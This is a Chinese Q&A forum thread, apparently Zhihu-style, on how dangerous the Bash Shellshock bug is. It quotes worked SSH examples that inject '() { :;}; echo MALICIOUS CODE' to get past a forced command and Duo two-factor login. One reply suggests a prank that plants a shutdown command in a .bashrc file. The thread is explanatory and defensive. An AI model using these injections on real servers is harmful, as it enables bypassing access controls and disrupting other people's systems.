Bash 的 Shellshock 漏洞的影響到底有多大?

這兩天突然爆發shellshock漏洞,大便小紅帽mac等等全部中招。這個漏洞的危害到底多大?黑客可以用http伺服器利用這個漏洞,ssh可以被利用嗎?沒有ssh許可權的情況下怎麼使用bash shell shock 漏洞?

從網上找了一段shellshock利用ssh進行攻擊的例子,但是還是不理解假如攻擊者沒有ssh許可權去登陸伺服器修改ssh配置 (例如創建新用戶),那麼能不能實行攻擊?
例子 1:

One example where this can be exploited is on servers with an authorized_keys forced command. When adding an entry to ~/.ssh/authorized_keys, you can prefix the line with command="foo" to force foo to be run any time that ssh public key is used. With this exploit, if the target user"s shell is set to bash, they can take advantage of the exploit to run things other than the command that they are forced to.

This would probably make more sense in example, so here is an example:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\"echo starting sleep; sleep 1\" $(cat ~/.ssh/id_rsa.pub) &> /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Here we set up a user testuser, that forces any ssh connections using your ssh key to run echo starting sleep; sleep 1.

We can test this with:

$ ssh testuser@localhost echo something else
starting sleep

Notice how our echo something else doesn"t get run, but the starting sleep shows that the forced command did run.

Now lets show how this exploit can be used:

$ ssh testuser@localhost "() { :;}; echo MALICIOUS CODE"
MALICIOUS CODE
starting sleep

This works because sshd sets the SSH_ORIGINAL_COMMAND environment variable to the command passed. So even though sshd ran sleep, and not the command I told it to, because of the exploit, my code still gets run.

列子2:

Expanding on the example from Ramesh - if you use two factor
authentication, it is possible to bypass the second factor using this
exploit, depending on how it is implemented.

— Normal Login —

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

1. Duo Push to XXX-XXX-XXXX
2. Phone call to XXX-XXX-XXXX
3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

— Running code without 2FA —

[10:31:24]$ ssh -p 2102 localhost "() { :;}; echo MALICIOUS CODE"
password:
MALICIOUS CODE

You"ll notice it ran the code without prompting for 2FA.

— After patching bash —

[10:39:10]$ ssh -p 2102 localhost "() { :;}; echo MALICIOUS CODE"
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND』


不懂黑客技術,不過想到一個惡作劇。

echo "export LC_TELEPHONE="() { :;}; /sbin/shutdown -k +1"" &>&> /home/www/.bashrc

然後等著哪個倒霉蛋從這裡登錄伺服器的root用戶了:
ssh root@伺服器IP


還行吧,主要問題是連進來以後能進bash那些渠道,目前的行業來說最大的危險是cgi和容易調用exec的腳本語言。

為什麼特地說腳本呢?因為用編譯語言,如果基本的runtime里沒有這種exec功能,就安全很多了……

所以這東西可大可小。PHP我沒用過,據說PHP有中招的危險。要是再趕上個用root跑應用的豪傑,就呵呵呵呵了。我司的網站(用golang開發的)我用第三方的工具跑了一下,沒有發現問題。

漏洞已補,各路好漢請手下留情……


首先更正樓主一個錯誤,Shellshock並不是一個內核級別的漏洞,而是一個用戶界面層級的漏洞
至於影響,首先用shell作為cgi的應用和網站很容易通過這個漏洞執行任意代碼,或者在ssh登錄之後執行各種代碼
當然,如果按照題主所說的攻擊方法,首先是你要有登錄許可權才可以。
這個漏洞雖說很危險,但是總體的嚴重性一般,很多時候人們誇大了它實際產生的危害,一般做好安全設置就不會有太大問題


這個漏洞的實際危害其實蠻有限,但他的影響卻非常大,尤其是擁護開源軟體的商業公司,可以說他們沉重的打擊了開源軟體使用者的信心。
這個漏洞實在是太明顯,太直接了,但為什麼這麼久才被發現?跟前一段時間的OpenSSL的漏洞一樣,充分說明一個問題:開源軟體所宣揚的」人人都能看代碼,更容易發現問題「這個假設本身不完全成立。哪怕一萬個人看,如果他們沒有安全意識和經驗,那對提高安全可以說毫無幫助。而且開源後甚至可能更危險,有了代碼,會降低攻擊的難度,而且第一個發現漏洞的人不一定會公布。如果轉而利用漏洞集中攻擊,豈不是更麻煩。


沒有授權的登陸無法實施shellshock攻擊。這個漏洞的原理和bash函數定義處理方法有關,bash會自動將當前環境變數中的函數定義語句eval執行但是不判斷是不是合法的函數定義語句。
比如當執行bash時有環境變數SSH_ORIGINAL_COMMAND=() {:;}; echo a; 除了函數定義部分() {:;};被eval, echo a;也被eval。
ssh有forcecommand的功能,用以限制用授權用戶執行的命令,shellshock只是讓這個限制形同虛設。例子如題目正文。


推薦閱讀:

手機的移動通訊網路蜂窩基站需要重啟嗎,平時需要什麼維護?
控制論和資訊理論之間的關係是怎樣的?維納和香農的根本分歧是什麼?
信號與系統這門課程有何價值?
無人機上需要哪些程序? 以及如何進行無人機編程?
你學工科到底學到了什麼?

TAG:Linux | 信息技術IT | 通信 | 信息安全 | 信息安全和密碼學 |